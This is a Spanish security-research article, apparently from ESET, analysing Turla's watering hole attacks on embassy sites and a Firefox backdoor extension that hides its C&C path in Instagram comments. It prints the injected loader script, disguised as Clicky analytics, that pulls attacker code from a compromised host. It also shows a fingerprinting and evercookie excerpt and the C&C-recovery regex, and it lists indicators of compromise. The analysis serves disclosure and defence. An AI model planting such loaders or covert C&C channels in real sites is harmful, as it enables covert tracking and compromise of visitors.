Algunas de las tácticas utilizadas en los ataques de amenazas persistentes avanzadas (APT) se resisten a desaparecer. Un buen ejemplo son las campañas Watering Hole del grupo Turla. Este grupo malicioso, cuyos objetivos de ataque durante años han sido gobiernos, funcionarios gubernamentales y diplomáticos (ver este reciente paper) continúa usando las técnicas Watering Hole para redirigir a las víctimas que consideran potencialmente interesantes a su infraestructura de servidores de Comando y Control (C&C). De hecho, han estado utilizando dichas técnicas desde al menos 2014, con muy pocas variaciones en su modus operandi.

En un ataque Watering Hole, se infectan los sitios web que tienen más probabilidades de ser visitados por los objetivos de interés. Al parecer, los operadores de Turla están interesados en infectar sitios web de embajadas. En efecto, en un artículo de Forcepoint de febrero de 2017, se destacaron algunos de los sitios más recientemente comprometidos.

Naturalmente, estamos monitoreando de cerca la evolución de estas campañas y hace poco notamos que sus operadores están reutilizando una técnica que no habíamos visto usar desde hacía varios meses.

Infección inicial

En la sección de indicadores de sistemas comprometidos al final de este artículo, figura la lista de sitios web utilizados por Turla en el pasado para redirigir al usuario a sus servidores Watering Hole de C&C. Como es habitual para este grupo, muchos de los sitios comprometidos tienen una relación directa con diversas embajadas de todo el mundo.

Los visitantes son redirigidos a un servidor malicioso mediante un fragmento de código insertado por el atacante en la página original. Los scripts que encontramos en los últimos meses fueron todos similares a este:

<!-- Clicky Web Analytics (start) -->

<script type="text/javascript">// <![CDATA[

var clicky_site_ids = clicky_site_ids || [];

clicky_site_ids.push(100673048);

(function() {

var s = document.createElement('script');

var a = 'http://www.mentalhealthcheck.net/';

var b = 'update/counter.js';

s.type = 'text/javascript'; s.async = true;

s.src = '//static.getclicky.com/js'; s.src = a.concat(b);

( document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(s);

})();

// ]]></script>

Los atacantes añadieron una referencia a Clicky, una herramienta de analítica web en tiempo real. Agregaron este nombre en un intento de legitimar el script adjunto ante una mirada superficial o inexperta, aunque en realidad no se utiliza durante el ataque. Aquí podemos ver que el script inyectado llama a otro en mentalhealthcheck.net/update/counter.js; este es un servidor que el grupo Turla ha estado utilizando para enviar scripts de fingerprinting a las víctimas de su interés (dichos scripts luego recopilarán información sobre el sistema en el que se están ejecutando).

Durante un tiempo, Turla había estado incluyendo una referencia engañosa a un supuesto script de Google Analytics con la misma finalidad, pero ahora encontramos que la referencia a Clicky se usa con más frecuencia. En la sección de indicadores de sistemas comprometidos, figura la lista de servidores Watering Hole de C&C que encontramos en los últimos dos meses. Todos ellos son servidores legítimos comprometidos.

El siguiente paso en el ataque es distribuir una huella digital o fingerprint de JavaScript a los objetivos de su interés. Para ello, el servidor de C&C filtra a los visitantes usando un rango de IP. Si están dentro del rango de IP objetivo, reciben el script de fingerprinting. De lo contrario, solo reciben un script benigno: una implementación JS del algoritmo de hash MD5.

A continuación mostramos un extracto del script desofuscado que reciben las víctimas pertenecientes a un rango de direcciones IP objetivo:

function cb_custom() {

loadScript("http://www.mentalhealthcheck.net/script/pde.js", cb_custom1);

}

 

function cb_custom1() {

PluginDetect.getVersion('.');

 

myResults['Java']=PluginDetect.getVersion('Java');

myResults['Flash']=PluginDetect.getVersion('Flash');

myResults['Shockwave']=PluginDetect.getVersion('Shockwave');

myResults['AdobeReader']=PluginDetect.getVersion('AdobeReader') || PluginDetect.getVersion('PDFReader');

 

var ec = new evercookie();

ec.get('thread', getCookie)

Este JavaScript descargará una biblioteca JS llamada PluginDetect que tiene la capacidad de recopilar información sobre los complementos instalados en el navegador. La información recopilada se envía al servidor de C&C.

También intentará instalar una evercookie, o supercookie, que rastreará al usuario durante su navegación en todos los sitios de Internet.

Para aquellos familiarizados con las técnicas de Watering Hole de este grupo, está claro que todavía siguen usando sus viejos métodos conocidos y comprobados públicamente.

Extensión para Firefox

Durante el seguimiento que hicimos de estas campañas Watering Hole, nos topamos con una muestra muy interesante. Algunos de ustedes seguramente recordarán el artículo técnico Pacifier APT de BitDefender, donde se describía una campaña de phishing dirigido (spearphishing) en la que se enviaba un documento malicioso de Microsoft Word a varias instituciones de todo el mundo. A continuación, el documento malicioso instalaba un backdoor. Ahora sabemos que lo que se describía en el artículo era Skipper, un backdoor de primera etapa utilizado por la banda criminal Turla.

A su vez, el artículo describía el uso de una extensión para Firefox instalada por el mismo tipo de documento malicioso. Y resulta que también encontramos lo que parece ser una actualización de esta extensión. Se trata de un backdoor de JavaScript, que, aunque difiere al descrito en el artículo Pacifier APT en su implementación, presenta funcionalidades similares.

Turla

Notamos que esta extensión se distribuyó a través del sitio web comprometido de una empresa de seguridad suiza. El sitio les pedía a los visitantes confiados que instalaran dicha extensión maliciosa. La extensión es un backdoor simple, pero que utiliza una técnica interesante para obtener su dominio de C&C.

El uso de Instagram

La extensión utiliza una URL bit.ly para llegar a su servidor de C&C, pero la ruta a la URL no figura en ninguna parte de su código. De hecho, para obtener la ruta utiliza los comentarios que aparecen en una publicación específica de Instagram. El comentario utilizado en la muestra analizada era sobre una fotografía publicada en la cuenta oficial de Instagram de Britney Spears.

©https://www.instagram.com/p/BO8gU41A45g/

La extensión busca el comentario de cada fotografía y calcula un valor de hash personalizado. Si el hash coincide con 183, entonces ejecutará esta expresión regular en el comentario para obtener la ruta a la URL bit.ly:

(?:\\u200d(?:#|@)(\\w)

Al observar los comentarios de la fotografía, solo el hash de uno coincidía con 183. Este comentario se publicó el 6 de febrero, mientras que la fotografía original se había publicado a principios de enero. Al ejecutar el comentario aplicando la expresión regular, obtenemos la siguiente URL bit.ly:

http://bit.ly/2kdhuHX

Si observamos un poco más de cerca la expresión regular, vemos que está buscando @|# o el carácter \200d de Unicode. Este carácter es en realidad un carácter no imprimible llamado en inglés "zero width joiner" (conector sin anchura), normalmente utilizado para separar emojis. Al pegar el comentario real o mirar su origen, se puede ver que este carácter precede a cada carácter que conforma la ruta de acceso de la URL bit.ly:

smith2155<200d>#2hot ma<200d>ke lovei<200d>d to <200d>her, <200d>uupss <200d>#Hot <200d>#X

Al resolver este vínculo acortado, dirige a la dirección static.travelclothes.org/dolR_1ert.php, que en el pasado el grupo Turla utilizó como servidor Watering Hole de C&C.

Como ocurre con todos los vínculos bit.ly, es posible obtener estadísticas sobre quién hizo clic en el enlace:

Turla

En este caso, sólo se registraron 17 clics en febrero, justo para la fecha en que se publicó el comentario. No obstante, es un número muy bajo; lo que podría indicar que sólo se trataba de una prueba.

Análisis técnico

La extensión para Firefox implementa un backdoor simple. En primer lugar, recopila información sobre el sistema en el que se está ejecutando y la envía al servidor de C&C, cifrada con AES. Esto es muy similar a lo que hace la extensión descrita en el whitepaper de Pacifier APT.

El componente backdoor tiene la capacidad de ejecutar cuatro tipos de comandos diferentes:

  • ejecutar un archivo arbitrario
  • subir un archivo al servidor de C&C
  • descargar un archivo desde el C&C
  • leer el contenido del directorio: enviar una lista de archivos, detallando su tamaño y fecha, al C&C

Aunque creemos que esta versión de la extensión solamente se trata de un tipo de prueba, es probable que la próxima versión (si llega a haber una) sea muy diferente. Se usan varias API que irán desapareciendo en versiones futuras de Firefox. Por ejemplo, utiliza XPCOM para copiar archivos en el disco y sdk/system/child_process para iniciar un proceso. Estas API solo pueden ser utilizadas por complementos que serán reemplazados por WebExtensions en Firefox 57 y versiones posteriores. A partir de dicha versión, Firefox ya no cargará complementos, lo que impedirá el uso de estas API.

Conclusión

El hecho de que los actores de Turla estén utilizando las redes sociales como medio para obtener la dirección de los servidores de C&C es sumamente interesante. Ya hemos observado este comportamiento en el pasado con otros grupos maliciosos, como los Dukes. Esta táctica dificulta mucho el trabajo de los investigadores de seguridad.

En primer lugar, es difícil distinguir el tráfico malicioso del tráfico legítimo en las redes sociales. En segundo lugar, les da a los atacantes más flexibilidad al momento de cambiar la dirección del servidor de C&C y de borrar todos sus rastros. También cabe notar que están reciclando un viejo método de fingerprinting para tomar las huellas digitales de sus víctimas, y que están implementando nuevas estrategias para que la recuperación de la dirección de C&C sea un poco más difícil.

Ante cualquier duda o para enviar muestras relacionadas con este tema, escríbenos a: threatintel@eset.com.

Agradecimientos

Un agradecimiento a Clement Lecigne del grupo Threat Analysis de Google por su ayuda en la investigación de esta campaña.

Indicadores de sistemas comprometidos (IoCs)

Hash de la extensión para Firefox

Nombre de archivo SHA-1
html5.xpi 5ba7532b4c89cc3f7ffe15b6c0e5df82a34c22ea
html5.xpi 8e6c9e4582d18dd75162bcbc63e933db344c5680

Sitios web comprometidos que redirigen a servidores de fingerprinting

Al momento de escribir este artículo, todos estos sitios ya están desinfectados o apuntan a servidores de fingerprinting inactivos.

URL Descripción
hxxp://www.namibianembassyusa.org Embajada de Namibia; Estados Unidos
hxxp://www.avsa.org African Violet Society of America
hxxp://www.zambiaembassy.org Embajada de Zambia; Estados Unidos
hxxp://russianembassy.org Embajada de Rusia; Estados Unidos
hxxp://au.int Unión Africana
hxxp://mfa.gov.kg Ministerio de Asuntos Exteriores; Kirguistán
hxxp://mfa.uz Ministerio de Asuntos Exteriores; Uzbekistán
hxxp://www.adesyd.es ADESyD (Asociación de Diplomados Españoles en Seguridad y Defensa)
hxxp://www.bewusstkaufen.at Portal web de consumo sustentable en Austria
hxxp://www.cifga.es Laboratorio de Cifga, que trabaja en el desarrollo de estándares de toxinas marinas
hxxp://www.jse.org Juventudes Socialistas de España (JSE)
hxxp://www.embassyofindonesia.org Embajada de Indonesia; Estados Unidos
hxxp://www.mischendorf.at Pueblo de Mischendorf; Austria
hxxp://www.vfreiheitliche.at Partido político de Bregenz, Austria
hxxp://www.xeneticafontao.com Fontao Genetics S.A., fundada en 1998, es responsable de la gestión del Centro de Selección y Reproducción Animal de la raza Rubia Gallega de vacas Holstein
hxxp://iraqiembassy.us Embajada de Irak; Estados Unidos
hxxp://sai.gov.ua Gestión de la seguridad vial (Ucrania)
hxxp://www.mfa.gov.md Ministerio de Asuntos Exteriores; Moldova
hxxp://mkk.gov.kg Servicio de Personal Estatal; Kirguistán

Sitios web comprometidos utilizados como servidores de C&C en la primera etapa de las campañas Watering Hole

  • hxxp://www.mentalhealthcheck.net/update/counter.js (hxxp://bitly.com/2hlv91v+)
  • hxxp://www.mentalhealthcheck.net/script/pde.js
  • hxxp://drivers.epsoncorp.com/plugin/analytics/counter.js
  • hxxp://rss.nbcpost.com/news/today/content.php
  • hxxp://static.travelclothes.org/main.js
  • hxxp://msgcollection.com/templates/nivoslider/loading.php
  • hxxp://versal.media/?atis=509
  • hxxp://www.ajepcoin.com/UserFiles/File/init.php (hxxp://bit.ly/2h8Lztj+)
  • hxxp://loveandlight.aws3.net/wp-includes/theme-compat/akismet.php
  • hxxp://alessandrosl.com/core/modules/mailer/mailer.php